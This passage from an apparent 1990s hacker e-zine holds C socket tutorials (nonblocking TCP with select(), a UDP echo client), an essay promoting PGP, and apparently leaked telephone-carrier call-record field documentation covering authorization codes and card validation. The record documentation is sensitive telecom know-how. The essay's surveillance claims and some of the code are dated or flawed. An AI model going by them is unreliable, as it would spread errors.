#include <netinet/in.h>
#define PORT 12345
#define REPLY "Hello, world.\n"
int main(int argc, char **argv) {
int sock, csock;
struct sockaddr_in server, client;
char buf[1028];
if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("Rats, socket() failed\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
if((bind(sock, (struct sockaddr *)&server, sizeof(server))) < 0) {
printf("Rats, couldn't bind to port %d.\n",PORT);
exit(-1);
}
listen(sock, 5);
for(;;) {
if((csock = accept(sock, (struct sockaddr *)&client, (int *)sizeof(client))) < 0) {
printf("Rats, accept() failed. That'll ruin your day.\n");
exit(-1);
}
if((recv(csock, (void *)buf, sizeof(buf), 0)) < 0) {
printf("Rats, recv() didn't work.\n");
exit(-1);
}
if((buf[0] == 'h') && (buf[1] == 'i')) {
if((send(csock, (void *)REPLY, sizeof(REPLY), 0)) < 0) {
printf("Boy I hate it when send() fails!\n");
exit(-1);
}
}
close(csock);
}
}
What does this server do right now? Well, it sits in an infinite loop,
serving one connection at a time, and then closing it. Without fork()ing a
child process, it would be a serious pain to handle multiple connections this
way. In fact, it would be entirely unworkable. Try it yourself- have 2
telnet clients connect. Type "hi" in the second one, and leave it running.
Nothing happens, yet. First, you must type "hi" in the first one, so the
daemon can finish with that client. Then you will see a response in the
second client. Just ctrl-c or kill tcpblock to stop it.
Obviously, this is not a feasible way to run a server. As seen in
my article from I/O #1, "IPC in the Unix Environment," the server can dodge
the blocking problem by fork()ing a new instance of the server proc for
every client that connects. That way, each client has its own, personal
little server that only has the single client to worry about. Meanwhile,
the parent will not have to worry about the client at all, as it will just
keep accepting connections and fork()ing new processes.
However, there are alternatives to this fork()ing method, such as
nonblocking sockets. With nonblocking sockets, we will be able to handle
more than one client at once. However, a lot of structural changes will
be made to our program. First of all, we will have more than one descriptor
to keep track of now. Instead of only taking care of csock in the loop,
we will monitor an array of sockets. By now, you're probably wondering how
this works. An individual read() on each socket would be tedious to
implement. So what do we do?
Fortunately, we have been given select() to take care of this little
conundrum for us. select() will watch a set of descriptors until they are
ready for reading or writing, or until they have an exception. Note that
you choose which descriptors select() monitors for which event- you must
tell select() that these particular descriptors should be watched until
they are reading for reading, or writing, and so on. Thus, just because
select() is watching for an exception, does not mean a return is implied
when the socket is ready for reading.
I think it is time to take a look at select()'s prototype as
specified by the manpage-
int select(int n, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout);
Hey, wait a minute... he snuck a new typedef in there! Yes, I did,
but it had to be done. If you have not guessed it yet, the fd_set* is a
pointer to the set of file descriptors we will be passing to select().
And with the new fd_set come a few functions (well, technically they are
just compiler macros) we will have to familiarize ourselves with:
FD_SET(int fd, fd_set *set);
FD_CLR(int fd, fd_set *set);
FD_ZERO(fd_set *set);
FD_ISSET(int fd, fd_set *set);
Our first macro, FD_SET, will add a descriptor to a set that we
have been building. For example, if we have an array of sockets that
we would like to be in an fd_set:
fd_set sockset;
int socks[10];
/* A little code opening the sockets in socks[] goes here */
for(i=0;i<10;i++)
FD_SET(socks[i], &sockset);
Our second macro, FD_CLR, will remove a particular descriptor
that we already added to the set:
/* We want to drop the 6th socket from the set */
FD_CLR(socks[5], &sockset);
No problem. Our third macro, FD_ZERO, will just completely wipe
an entire set of all descriptors in it. Finally, our last macro,
FD_ISSET, will tell us if a particular descriptor is in the set.
Now, let's take another look at that select() prototype:
int select(int n, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout);
The n is an integer reflecting the highest numbered descriptor, plus
one, in any of the sets. It is customary to use FD_SETSIZE as the first
argument to select(), although it can be changed. The pointer to a timeval
structure, *timeout, will determine how long select() waits for the specified
event to happen.
It is important to keep in mind that select() modifies the arguments
you give it. If only one of the descriptors in *readfs is available for
reading when select() exits, only that one descriptor will be left in the set.
The other descriptors in the set will be removed. A use for FD_ISSET is now
plain- through it, we will learn which descriptors made the cut, and which
descriptors were removed from the set.
Note that select() will return the number of descriptors that
matched in the given time period specified by *timeout. Thus, we should
not bother with FD_ISSET if select() returns 0.
Now let's take a look at our "Hello, world" server again. Only
this time, we will implement nonblocking sockets, and enable our server to
handle 7 clients at a time (an arbitrary number. I like 7, don't you?)
/* tcpnonblock.c *
* Written as a short example *
* for "I/O Magazine." *
* Connect to PORT and type "hi" *
* - tiepilot@city-net.com */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#define PORT 12345
#define REPLY "Hello, world.\n"
#define CLINUM 7
struct clistruct {
int csock;
struct sockaddr_in client;
};
/* Since we'll need CLINUM sockets and CLINUM *
* sockaddr structures, we'll just make ourselves *
* an array of structures containing what we need. */
int main(int argc, char **argv) {
int sock, i, incoming, ret;
struct sockaddr_in server, caddr;
struct clistruct clients[CLINUM];
struct timeval tv;
char buf[1028];
fd_set rdfs;
tv.tv_sec=3; /* 3 seconds for select() seems reasonable. */
tv.tv_usec=0; /* We don't need this kind of precision. */
if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("Rats, socket() failed\n");
exit(-1);
}
if((fcntl(sock, F_SETFL, O_NONBLOCK)) < 0) {
printf("Rats, fcntl() failed. That's no fun.\n");
exit(-1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
if((bind(sock, (struct sockaddr *)&server, sizeof(server))) < 0) {
printf("Rats, couldn't bind to port %d.\n",PORT);
exit(-1);
}
for(i=0;i<CLINUM;i++)
clients[i].csock = -1;
listen(sock, CLINUM);
for(;;) {
FD_ZERO(&rdfs);
/* Clear the set on every iteration. */
for(i=0;i<CLINUM;i++) {
if(clients[i].csock > -1)
FD_SET(clients[i].csock, &rdfs);
/* If this socket is open, add it to the set to watch. */
}
ret=sizeof(incoming);
if((incoming=accept(sock, (struct sockaddr *)&caddr, &ret)) < 0) {
if(errno != EAGAIN) {
printf("Rats, accept() failed. I guess we're denying today.\n");
exit(-1);
}
}
/* Check for new connections. */
if(incoming > -1) {
for(i=0;clients[i].csock > -1;i++);
/* This is going to find a socket we have free for them. */
if(clients[i].csock > -1) {
send(incoming,(void *)"All connections are taken.\n",sizeof("All connections are taken.\n"),0);
close(incoming);
}
/* Unused structures will have their csock element == -1 *
* If we don't have any unused structures, we can't add *
* any new clients. Incidentally, you'd want to use a *
* linked list that would grow with the number of clients. */
if(clients[i].csock == -1) {
clients[i].csock=incoming;
/* We found a spot for the incoming *
* connection, and we're giving it a struct. */
bcopy((void *)&caddr,(void *)&clients[i].client,sizeof(caddr));
/* We don't have to do this, but you'll probably *
* need it for any real server program, to *
* determine the host name and similar things. */
FD_SET(clients[i].csock, &rdfs);
/* Now that this socket is open, add it *
* to the list that select() will watch. */
}
}
if(select(FD_SETSIZE, &rdfs, NULL, NULL, &tv)) {
for(i=0;i<CLINUM;i++) {
if(clients[i].csock > -1) {
/* If this is a valid connection... */
if(FD_ISSET(clients[i].csock, &rdfs)) {
/* Remember that it will only be set if *
* it is one of the descriptors that select() *
* observed to be ready for reading. */
bzero((void *)buf, sizeof(buf));
if((ret=recv(clients[i].csock,(void *)buf,sizeof(buf), 0)) > 0) {
/* Let's recv! Woo! */
if((buf[0] == 'h') && (buf[1] == 'i')) {
if((send(clients[i].csock,(void *)REPLY,sizeof(REPLY), 0)) < 0) {
printf("Boy I hate it when send() fails!\n");
exit(-1);
}
}
close(clients[i].csock);
clients[i].csock = -1;
bzero((void *)&clients[i].client, sizeof(clients[i].client));
/* If you'll remember, our program *
* will just disconnect you if you *
* do not greet it with "hi." If you *
* do greet it, it will still drop *
* you, but with some familiar words. */
}
if(ret < 0) {
if(errno != EAGAIN) {
printf("Rats, I hate it when recv fails!\n");
exit(-1);
}
}
}
}
}
}
}
}
Well, the nonblocking version was obviously a little longer :) 145
lines, compared to 58 lines for the blocking version. However, run it and
notice the differences. Now, the server will accept connections in what
appears to the user as a simultaneous manner, and it will handle the
connections all at once. In actuality, it is still handling connections
linearly, but now it can pass over time consuming operations. It will leave
a socket open until it receives something from it... if it does not receive
what it wants right away, it concerns itself with its other clients, and does
not look back at the first client until it is sure there is something there
to look at.
Let's look back and step through what is written. You will
immediately notice the added headers- select(), along with the various
macros related to fd_set, in addition to errors such as EAGAIN, all
require seperate headers. For a reference to each function's required
headers, consult their respective manpages. Most of what we will outline
here can be found in section 2 of the Linux Programmer's Manual (with the
exceptions of the string.h functions, ie bzero(3) and bcopy(3)).
You will notice that in this version, we had to institute a method
for storing client information. To do this, we setup an array of CLINUM
structures (CLINUM being our maximum number of clients). Each structure
contains an integer (the socket), and a sockaddr_in structure (in case
we need to look back and find the host associated with that client).
Moving along, we specify the time select() will wait in lines 36
and 37. Our fcntl() call is on line 44, and is identical to what we
outlined above.
On line 58, we clear our array of structures, setting each
integer csock (which will later be used for a socket) to equal -1. This
way, we can tell if a particular structure is used by checking the csock
value for -1. If the value is greater than -1, that structure is in use
by a client.
Finally we reach the program's main loop. First off, we will
clear our fd_set structure (rdfs) on every iteration, so we can start off
with a clean slate. We will then rebuild rdfs in lines 65-69, taking
into account any new or any lost connections. Basically, if we closed
a connection to a client, we set it to -1, and if it is not -1, then it
should be added to rdfs.
After we rebuild rdfs, we will call accept() and look for any
incoming connections that may be pending. If we do indeed have an incoming
connection, we will look through the array clients[] for one that is unused
(keeping in mind that an unused structure will have the csock value at -1).
If we do not have a free slot for the client, we close its connection and
mosey along. If we do have a spot open for the incoming client, we will
set:
clients[i].csock=incoming;
Doing this will make csock the socket, and we can discard incoming (do not
close it, of course, because it still holds the descriptor's value! If you
want to discard it safely, just do "incoming = -1;".) Now that
clients[i].csock has a value > -1, it is in use, and we will set its
corresponding sockaddr_in value by bcopy()-ing caddr to clients[i].client.
Since we just received this client, and we know it is active, we will
immediately add it to the fd_set, so that it is watched for reading the
next time select() is called (which will be shortly).
From here, we finally hit the select() call (we have reached line
108 now), which is identical to what we outlined above. After select()
returns, we will look for the descriptors that select() found to be ready
for reading by using FD_ISSET. If a descriptor is set, then we are free
to call recv() on it, and since our program only looks for one word (or,
really, anything starting with that word. "high" will also be matched.
This is trivial to fix.) then it will either respond to that word, or
close the connection. Upon closing the connection (lines 125-127), we will
close() the socket, and mark the structure so that it is unused. Yes, you
guessed it- we will set csock to -1, and clear client (the sockaddr_in
structure) by calling our good friend bzero().
Well, I hope this overview of nonblocking sockets has been helpful
to you. Out of all the various programming questions I run into, it
seems I get more nonblocking questions than any, so I thought an article
might serve some beginning network programmers well. However, I am
getting a little ahead of myself, as ramdac's Socket Programming Lesson
has not quite reached TCP sockets yet. Hopefully you have been able to
follow along regardless, and if you are still a bit mystified, you might
want to keep this article around until you have a stronger hold on plain
old blocking TCP sockets. I personally learned most of this through
the ever trusty manual pages, and I would advise those of you who are getting
started to make use of this invaluable resource. Experimentation will help
you get the fine points down... if you have a question on something, write
a few lines of code, setup a test environment, and see what happens.
Good luck. :)
+EOT+
Socket Programming Lesson (SPL) Part 2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-by ramdac (delta@codenode.org)
----------------------------------------------------------------------
Socket Programming Lesson (SPL) TWO [Basics, UDP] ramdac
----------------------------------------------------------------------
0.0 Lesson Two
1.0 Planning It Out
1.1 Resolution
1.2 Creation and Connection
1.3 Action
1.4 Termination
2.0 Conclusion
3.0 ESC
0.0 Lesson Two
--------------
Now begins the fun. Lesson two takes you from creation to completion
of the most basic, fully functional, program to use sockets and the
UDP protocol. Since these lessons are now published in I/O Magazine,
the ESC (Example Source Code) for this and all following lessons
will be appended to the end of each lesson. I suggest you snip the
ESC off the end of this file and put it in its own file (sp2_esc.c)
because I refer to line numbers relative to the start of the code,
_not_ this entire document. This lesson starts out in section 1.0 by
going over a common attack plan for planning and implementing our
programs. Future lessons will jump right into the fun(ner) stuff.
1.0 Planning It Out
-------------------
One can not build a house without blueprints, and one can not (easily)
create a program without a goal, and a logical set of steps to reach
that goal. For our first program, our goal is (very simply) to send
a message to another host's echo port/daemon, and wait for, and
recieve that exact message back, using the UDP protocol. This feat
requires a few steps which are common to all the programs we'll be
making. These steps are: resolution (figuring out who we're going to
be talking to), creation and connection, (getting ready to and
actually connecting to the remote host), action, (doing what we need
to), and termination (cleaning it all up). I'm going to skip over
talking about why we #include what we do, though I encourage you to
look at each included header you don't recognize.
1.1 Resolution
--------------
First we resolve the destination host's address by calling our
resolve() function (line 45). Since the resolve() function will be
with us all the time, I'll briefly describe what it does. The formal
prototype of this function is:
unsigned long resolve(char *);
resolve()'s first and only argument should be the address we're trying
to resolve. resolve() attempts to resolve this address, and upon
success it returns the address in unsigned long format. Upon error, it
returns 0 (zero).
Let's go inside resolve() now. First we define two variables: hent,
and retval. hent is a hostent structure that is used as the place
for gethostbyname(3)'s return value. gethostbyname(3) takes one
parameter, the address to resolve, and on success, it fills out
all sorts of information in hent, only one of which we need,
hent->h_addr. So we call gethostbyname(3) with hent as its return
value (line 125), and if hent is not equal to zero (line 126)
then we cast retval to a character pointer and copy the value of
hent->h_addr to it (line 129). hent->h_addr in netdb.h (one of our
included headers) is really defined as:
#define h_addr h_addr_list[0] /* address, for backward compatiblity */
so that is why we have to cast retval.
Back to line 45 again, we call resolve() and pass it argv[1] which
should be the hostname/address of the host we want to talk/connect to.
The return value is given to dest_address, and then, given dest_address
is not equal to zero, ina.s_addr is also given the value of
dest_address which is then used in line 56 to print that address
in dot.dot format using inet_ntoa(3).
1.2 Creation and Connection
---------------------------
First we start out on line 59 by calling socket(2). socket(2) is the
function one uses to create a socket, evidently. socket(2) returns,
on success, the referencing number of the socket descriptor, or -1
on error. The formal prototype of socket(2) is:
int socket(int domain, int type, int protocol);
The first parameter to socket(2) is the protocol family the socket will
be using. For our purposes, this is AF_INET, for Internet protocols.
You can look at the socket(2) manpage for more families. The second
parameter, type, is the type of socket we're creating. Right now
we're creating a SOCK_DGRAM type socket which is used for datagram-
oriented, unreliable, connectionless connections/protocols. The UDP
in other words. In future lessons we'll be creating SOCK_STREAM
type sockets which is, easily put, used with TCP. The final
argument to socket(2), protocol, is the protocol to be used with
the socket. For us it's just zero, for the IP. We could use
IPPROTO_UDP, but we're not. If you want you can play around with
the getprotoent(3) function and its friends.
Back to line 59. We create a datagram-oriented (UDP) socket that uses
the family of Internet protocols (UDP is an Internet protocol) and
on success, the return value, the referencing number of the socket
descriptor, is given to our variable s. If s is less than zero (line
60) then an error has occurred and we exit.
On line 66 we zero out our sockaddr_in structure, sin. We do this now
before our dealings with bind(2) because bind(2) uses sin, and local
variables aren't zeroed out so sin could contain some random trash
values that would make bind(2) barf. Speaking of bind(2), line 69.
Disregarding the if() statement in which our call to bind(2) is
hidden in, we get the function call that creates a port for ourselves
and binds our previously made socket to it. Here is the formal
prototype for bind(2):
int bind(int sockfd, struct sockaddr *my_addr, int addrlen);
The first parameter, sockfd, which stands for socket file descriptor,
is the socket of which to bind the port to. For us, this is our
variable, s. The second parameter, *my_addr, is a pointer to a sockaddr
structure, but we pass our sockaddr_in structure, sin, and cast it.
Finally, addrlen, is the size of *my_addr, or in our case, sin. On
success zero is return, or -1 on error.
On line 76 we set the protocol family again in sin.sin_family to
AF_INET. Line 78, we convert our variable DEST_PORT, the destintion
port on the given host, from host byte ordering (little endian) to
network byte ordering (big endian) because all binary integers in a
TCP/IP header must be in network byte ordering as they traverse
a network. This conversion is done by calling htons(3), and passing
htons(3) the variable/integer to convert. htons(3) returns the
variable passed to it in network byte ordering, which we then assign
to sin.sin_port (line 78 still). sin.sin_port as you can gather is
the destination port on the given host. Soon you'll see why filling
out all this info in sin is improtant. Down to line 80, we just
give sin.sin_addr.s_addr the host's resolved address (destination
address), dest_address (which was talked about in section 1.1). You
might think you'd put the destination address in sin.sin_addr, but
if you look in linux/in.h (an included header file of ours that is
actually included, as we put it, in netinet/in.h) you'd know why
we don't. Now we have completely filled out our socket descriptor,
sin.
Line 88. This is where we actually "connect" to the given host. Seeing
as how we're using the UDP protocol, we don't really connect like
a TCP connection. With the UDP protocol, we just fire away, and that
is what sendto(2) is used for. The formal prototype for sendto(2) is:
int sendto(int s, const void *msg, int len, unsigned int flags,
const struct sockaddr *to, int tolen);
Breifly, s is the socket to use to send *msg, where *msg is len bytes
long. For our purposes flags is zero. For *to, like bind(2), we use
our sockaddr_in structure, sin, and cast it. sendto(2) uses the
information in *to (sin) to know where to send *msg. As you recall,
sin contains the protocol family, destination address, and destination
port. tolen is just the sizeof *to (sin). sendto(2) returns the number
of bytes sent, or -1 on error. Looking at line 88 don't forget that
our variable message is a pointer to argv[2], which should be the
given message to send. Whew.
1.3 Action
----------
Unfortunately, this code has very little action. And ever less to do
with termination. Here goes. Line 96, we give fromlen the size of
sin, to be used later. Line 98, we zero out our input buffer, in_buff,
which is IN_BUFF_SIZE bytes large. Line 102 is where the action
starts with recvfrom(2), which is the function what waits for
something from the given host on the give socket. recvfrom(2)'s formal
prototype is:
int recvfrom(int s, void *buf, int len, unsigned int flags,
struct sockaddr *from, int *fromlen);
recvfrom(2) is exactly like sendto(2) except three parameters have
different uses. Parameter two, *buf, is a pointer to a generic
void buffer to which the recieved data is stored in. *from is a
structure containing the information about what host to listen to.
Again, here we use sin and cast it. And *fromlen is nothing but
the size of *from (sin), except as a pointer to a variable that has
this size, which for us is fromlen. recvfrom(2) returns the number of
bytes recieved or -1 on error. Because we have not modified our
socket descriptor, s, recvfrom(2) will block, meaning that it will
wait for data from the given host forever. If and when it does get
something, line 110 will let us know.
1.4 Termination
---------------
And on the seventh day the Lord called close(2), and exit(2), and
it was terminated. To close and destroy a socket we call close(2)
and pass it our socket descriptor, s. That's all. Good practice says
that you should always close(2) your sockets, even though exit(2)
will do it for you.
2.0 Conclusion
--------------
A lot of talk for a little code. This program that we've been rapping
for the last four subsections is a fundamental framework for all
larger programs dealing with sockets. Next lesson, we'll do most of
this all over again, but with the TCP, and a few bells and whistles.
Be sure to look at all the included header files from this program
because we'll be using them a lot.
3.0 ESC
-------
/*
* sp2_esc.c
*
* Socket Programming Lesson (SPL) TWO [Basics, UDP] ramdac
*
* spl2_esc demonstrates the the most basic usage of sockets
* using the UDP protocol by sending a given message to a given
* host's echo port/daemon and waiting for and recieving that
* exact message back.
*/
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define DEST_PORT 7
#define IN_BUFF_SIZE 25
/* Function prototypes */
unsigned long resolve(char *);
int main(int argc, char *argv[])
{
unsigned long dest_address; /* Destination address */
struct in_addr ina; /* struct for inet_ntoa(3) */
struct sockaddr_in sin; /* Socket descriptor */
char *message; /* Pointer to the message */
char in_buff[IN_BUFF_SIZE]; /* Buffer for read(2) */
int fromlen; /* Size of socket descriptor */
int s; /* The socket */
int retval; /* Returned value */
if(argc != 3) {
printf("Usage: %s [host] [message]\n", argv[0]);
printf("Example: %s pacbell.net hello\n", argv[0]);
exit(0);
}
dest_address = resolve(argv[1]); /* Resolve the given host's address */
if(!dest_address) {
printf("Unable to resolve %s\n", argv[1]);
exit(0);
}
else {
/* Put the value of dest_address in the ina struct and
use inet_ntoa(3) to print the address in dot.dot form */
ina.s_addr = dest_address;
printf("Resolved %s to %s\n", argv[1], inet_ntoa(ina));
}
s = socket(AF_INET, SOCK_DGRAM, 0); /* Create the (datagram) socket */
if(s < 0) {
perror("socket");
exit(1);
}
memset(&sin, 0, sizeof(sin));
/* Bind our socket to a port */
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("bind");
exit(1);
}
/* Set the protocol family to be use. AF_INET for Internet protocols. */
sin.sin_family = AF_INET;
/* Convert DEST_PORT to network (big endian) byte order */
sin.sin_port = htons(DEST_PORT);
/* Give or sin struct the host's resolved address, des_address */
sin.sin_addr.s_addr = dest_address;
message = argv[2];
printf("Sending %d byte message: %s\n", strlen(message), message);
/* Send message to the address and port of the host specified
in sin */
retval = sendto(s, message, strlen(message), 0,
(struct sockaddr *)&sin, sizeof(sin));
if(retval < 0) {
perror("sendto");
exit(1);
}
fromlen = sizeof(sin);
memset(in_buff, 0, IN_BUFF_SIZE);
/* Blocking, receive something (the message) back from the
given host */
retval = recvfrom(s, in_buff, IN_BUFF_SIZE, 0,
(struct sockaddr *)&sin, &fromlen);
if(retval < 0) {
perror("recvfrom");
exit(1);
}
printf("Recieved %d bytes: %s\n", retval, in_buff);
/* Close our socket. exit(2) belows would do this anyhow. */
close(s);
exit(0);
}
unsigned long resolve(char *address)
{
struct hostent *hent; /* struct for gethostbyname(3) */
unsigned long retval; /* Return value (resolved address) */
/* Resolve address and put the address and other info
into hent */
hent = gethostbyname(address);
if(!hent)
return 0;
else /* Cast and copy the actual address to retval */
bcopy(hent->h_addr, (char *)&retval, hent->h_length);
return retval;
}
+EOT+
Security and Conformity
~~~~~~~~~~~~~~~~~~~~~~~
-by Alex Jones (cossack@mindless.com)
It seems simple and secure. You come home, open up your copy of
Netscape Mail, and send your friend a letter before going to get a bite to
eat. E-mail is quickly becoming a popular and convenient way to
communicate. Most people compare e-mail to a telephone conversation, or
even a chat over lunch. But in reality, e-mail is comparable to using a CB
radio. Internet Service Providers don't even claim responsibility for
e-mail security. If you are to have a quick look through the fine print of
your Internet Service Agreement, you would fine something like this...
Email Privacy: Bob's Internet Service cannot guarantee that any
transmission or communication is truly confidential or private. The
provisions of the Electronic Communications Act of 1986 apply in all
cases.
You may ask, "Why do they put that disclaimer in?" They put it in because
they know the security of e-mail and related communications is too easily
compromised. They know that once your e-mail leaves their servers, it can
pass through hundreds of other computers on the way to its destination.
Your e-mail is only as secure as the weakest link along that chain. Anyone
who has appropriate access at a weak link can read your mail. There are
programs that can search through your mail for keywords, such as "credit,"
"account," or "password." A recently conducted IRC poll found that
61% of users had sent sensitive information by e-mail, such as a password,
at one time or another. This makes it inevitable that information has
been, and will continue to be stolen.
The greatest threat comes not from computer hackers lifting
information from e-mail, but from our own government. It is now beginning
to be exposed ("Secret Power," by Simon Davies) that a massive monitoring
network called Project Eschelon is present in Eastern Europe. This
network was set up by the U.S. with the support of Great Britain. It is
speculated to have the capability to search major backbones for specific
keywords or phrases. In fact, the commission examining the matter reported
that the network had the capability to monitor phone calls and faxes, as well
as e-mail. This is a governmental abuse of power to the greatest extent.
This was uncovered only because a specific commission investigated the matter.
The possibility of extensive domestic government surveillance is almost
certain.
There are so many problems and places in which the security of an
individual or company could be compromised, it is hard to understand how
to approach the problem. There is one answer that is simple and effective,
and requires minimal investment of time and resources. The answer is
called encryption. In its simplest definition, this means that information
such as text, video, or voice data is scrambled into a completely
unreadable form to anyone other than by the intended party. There are
other articles that address this in more depth, but only basic knowledge
of encryption is necessary to understand the ramifications. In terms of
data security, it doesn't matter what security holes exist in a system, it
matters how the data is stored. If the system is insecure, but completely
scrambled with a powerful encryption system, it can be considered safe in
terms of readability. (Data could still be corrupted or destroyed, but it
could not be read.) Encryption is vital to security. But a problem arises
if system A and system B use different methods of encryption; they cannot
share secured data. This is why the terms "monopoly" and "conformity" in
the encryption market become important. The monopoly should not be for
money, but developed by volunteer work for the sole purpose of providing a
free multi-platform program designed to protect data to the maximum
plausible extent. There is something available that meets most of these
criterion, and it is called Pretty Good Privacy. (PGP, www.pgp.com.) It is
a free program developed by Phil Zimmerman, designed specifically for
protecting e-mail communications. The public version is free, while other,
more complicated versions have a fee. PGP is available only to U.S.
residents due to export restrictions. (Discussed in an earlier I/O
article.) It is suggested that every reader, regardless of data being sent
by e-mail, install PGP and try to use it whenever possible. This ensures
market conformity of a proven program. There is also a program called
PGPfone which uses encryption technology to protect voice conversations.
This, however, is not as realistic in its ease-of-use. It requires a good
amount of time to be spent setting up conversations. If many people become
accustomed to using PGP, privacy can finally be assured; not just
speculated. Encryption is going to become increasingly important as the
use of the Internet becomes more widespread. It is the only true assurance
of data security in a time when privacy cannot be guaranteed by anyone,
even on the most basic level.
+EOT+
CDR/PDR Field Descriptions
~~~~~~~~~~~~~~~~~~~~~~~~~~
-by PureNRG
Example
-------
Dialed Num 22220246262148 [CDR_9X] Date (241) 1998/06/21 DO 0
Prefix ( 0) Pre-Translated CC 0
ACIF (00) 7-Digit File CLI Number 3145799791 RO 0
Auth Code XXXXXXXXXXXXXXXXXXXXXX ANI Index 000 CD 0
Action Code 000 DE 0
Info Digits 31 Outpulse Qual 00 Switch ID 2CT DT 0
Feat Code 00 Answer Qual 00 Call Disc ID 00787 IN 0
Term Code 00 Disconn Qual 000 Carrier No. 0222. SA 0
Entry Code 022 NCS/DAP ID 00 Division ID 00
CRID 1 NOCLI 03 NAT 00 SS7_Cause 016
Seize 01:43:39 Outpulse 01:43:40 Originating(P/G/C) 000399 / 0335 / 03 '00
Answer 01:43:43 Disconn 01:50:20 Terminating(P/G/C) 000041 / 2148 / 02 '00
Descriptions
-------------
Most frequently used call search types:
ALL - All search file types checked
Unless you are searching for calls by originating or terminating trunk
group you can use the default setting of ALL to search calls by.
CDR - Call Detail Record
Used for calls originating on non-vnet type services. Includes ANIs and
DALs with circuit IDs beginning with E and F.
Used if the switch being searched is not the originating switch. This
includes all service types. Originating 800 numbers should also be
searched as CDR. If searching 800 number on originating switch, it
should be placed in the pre-translated number field.
PNR - Private Network Record
Used on all ORIGINATING vnet type calls, including ANIs and DALs.
Example of Search Results ~ Main Menu ~ WYV Homepage
CDR/PNR Field Descriptions
--------------------------
Auth Code - Authorization Code Indicator
Contains one of the following and/or an optional supplementary code:
Authorization code
Credit card number
Calling party number
7- or 10-digit Calling Station Identity (CSI)
14-digit calling card number
PTT or telecommunications card number
VNET remote access number
Business group
Network information
If more than 22 digits are received, an expanded Call Detail Record / Private
Network Record (ECDR/EPNR) will be used. Note: VNET dial plans originating
on ISUP IMTs will follow the same rules as (I)DDD type calls, except for
inbound international VNET calls.
Action Code
-----------
Supplied by the NCS/DAP or switch call processing. See NCS/Dap ID to
determine if an action code was supplied by the DAP or by the switch call
processing.
0 = Not to be used - default
1 = 7D direct termination call without overflow
(translated to 7D number + Term Switch ID + Term Trunk Group)
2 = 7D direct termination call with xxxxxxxxx overflow
(translated to 7D number + TSID + TTG)
3 = DDD number (or translated to DDD number)
4 = IDDD number (or translated to IDDD number)
5 = Switch to NCS transaction failure (switch generated action code)
6 = Incoming exclusion failure
7 = ID code failure
8 = Unexpected failure occurs in the NCS/DAP
9 = Misdialed number. The NCS/DAP is unable to translate the dialed
number.
10 = 10D direct termination without overflow
(translated to 10D number + TSID + TTG)
11 = 10D direct termination with overflow
(translated to 10D number + TSID + TTG)
12 = National with overflow
13 = International with overflow
14 = ANI not found
15 = NPA-NXX not found
16 = Pilot number not found
17 = Associated partition not found
18 = ADF format error
19 = Switch ID not found
20 = 800 number not found
21 = 800 number out-of-band
22 = 800 number no longer in service
23 = Invalid ID code (customized announ)
24 = Range privilege (customized announ)
25 = 7D number not in database (cust. ann)
26 = 10D exclusion feature (cust. ann)
27 = 900 number not found
28 = 900 number out-of-band
29 = 900 number no longer in service
30 = NCS network management blocked
31-49 = Not currently used - available
50 = Flexible direct termination call without overflow
(translated to N-digit number + TSID + TTG)
51 = Flexible direct termination call with overflow
(translated to N-digit number + TSID + TTG)
52 = Outbound IVNET without overflow
53 = Outbound IVNET with overflow
54-63 = Not currently used - available
ACIF - Authorization Code Identification
----------------------------------------
For switches supporting multiple 5 digit authorization code files, the
5 digit auth file used in the call must be identified. For switches
supporting card service the ACIF is used to record
the card number status. The status will be
forwarded by the NCS/DAP to the switch for each card call verfication.
The BOC card number status forwarded by the BNS center will also be
stored in this field after it has been mapped to an ACIF value.
0 = Seven digit authcode file
1 = 1st or only five digit authcode file
2 = 2nd five digit file
3 = 3rd five digit file
4 = 4th five digit file
5 = 5th five digit file
6 = Six digit authcode file
7 = Range restriction failure (invalid address digits)
8 = Positive commercial credit card/89 card/M card validation
(temporary in host/remote architecture).
9 = Not currently used-available
10 = Card invalid or not assigned. Disallowed by NCS/DAP.
11*= BOC billing number assigned but blocked
12*= BOC billing number usage exceeded
13*= Not currently used-available
14 = Default auth of card if response time-out from NCS/DAP
15 = Card authorized by NCS/DAP
ANI INDEX - Automatic Number Identification Index
-------------------------------------------------
ANI index number for the FG-D originations. The ANI is screened for
all calls except for 800 calls. The ANI index number is obtained from
the ANI index table. (DMS - TABLE ANIINDEX; DEX - DISPLA CP ANINDX) -
ANI Class of Service Descriptions from DEX:
ANI xxxx TRAFF TOD INT BLOCK PART ACCT VNET OPER 900 ALLOW DIG
CLS CUST TYPE REST ACC CALLS NO. DIGITS CUST ACC BLK PRISON FAC
--- ---- ----- ---- --- ----- ---- ------ ---- ---- --- ------ ---
0 Y PRI N Y N 2 0 N Y N N SP
1 Y PRI N Y N 2 0 N Y N N SP
2 N SEC N N N 0 0 N N N N SP
3 Y PRI N Y N 9 0 N Y N N SP
4 N SEC N N N 0 0 N N N N SP
5 Y PRI N N N 23 0 N Y N N SP
6 Y PRI N Y N 2 0 N Y Y N SP
7 Y PRI N Y N 2 2 N Y Y N SP
8 Y PRI N Y N 2 2 N Y N N SP
9 Y PRI N Y N 2 2 N Y N N SP
10 Y PRI N Y N 2 0 Y Y N N SP
11 Y PRI N Y N 2 2 Y Y N N SP
12 Y PRI N N N 2 0 N Y N N SP
13 N SEC N N N 0 0 N N N N SP
14 Y PRI N Y N 2 3 N Y N N SP
15 Y PRI N N Y 0 0 N N Y N SP
16 Y PRI N Y N 2 2 N Y N N SP
17 Y PRI N Y N 2 3 N Y N N SP
18 Y PRI N Y N 2 3 N Y N N SP
19 Y PRI N Y N 2 3 N Y N N SP
